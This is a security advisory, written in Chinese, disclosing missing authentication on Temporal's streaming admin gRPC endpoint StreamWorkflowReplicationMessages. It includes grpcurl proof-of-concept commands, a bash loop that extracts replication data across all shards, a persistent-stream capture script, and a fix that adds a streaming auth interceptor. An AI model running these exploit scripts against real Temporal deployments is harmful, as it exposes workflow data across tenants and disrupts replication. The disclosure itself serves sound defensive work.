Temporal 前端服务未对流式 gRPC RPC 强制执行身份验证。流式拦截器链省略了授权拦截器,允许未经身份验证的调用者访问 AdminService/StreamWorkflowReplicationMessages——这是一个仅限管理员使用的特权端点,用于跨所有命名空间流式传输工作流复制数据。
位于 service/frontend/fx.go 的前端 gRPC 服务器配置了两条拦截器链。流式链仅包含 telemetryInterceptor.StreamIntercept 用于指标收集,不包含任何身份验证:
authorization.Interceptor 类型仅实现了一元拦截器方法(Intercept)。不存在对应的流式实现。前端唯一的流式 RPC 是 AdminService/StreamWorkflowReplicationMessages,根据 https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215,该端点应要求 {Scope: ScopeCluster, Access: AccessAdmin}。该流式调用在未经过任何授权的情况下到达 admin_handler.go:1904 处的处理器,并在那里直接代理到内部历史服务的复制端点。
部署一个暴露前端 gRPC API 的 Temporal 实例。
在没有任何凭据的情况下调用流式 AdminService RPC:
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# 流连接成功。服务器响应包含每个分片的复制状态,包括
# exclusiveHighWatermark。在活跃复制期间,
# 响应包含序列化的工作流历史事件:
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
要遍历所有分片并大规模提取数据:
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion: 1=active, 2=failover
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
要持久保持流连接打开并实时捕获复制事件:
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
能够访问前端的攻击者可以在无需任何凭据的情况下读取跨所有命名空间和租户的工作流复制数据——包括工作流 ID、运行 ID、历史事件、活动负载。攻击者还可以通过发送 SyncReplicationState 消息干扰跨数据中心复制,并获得通往内部历史服务的桥梁,而该服务通常从不对外暴露。
在 authorization.Interceptor 上实现 StreamServerInterceptor,并将其添加到 service/frontend/fx.go:292-296 处的流式链中:
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // 对流式 RPC 强制执行身份验证
}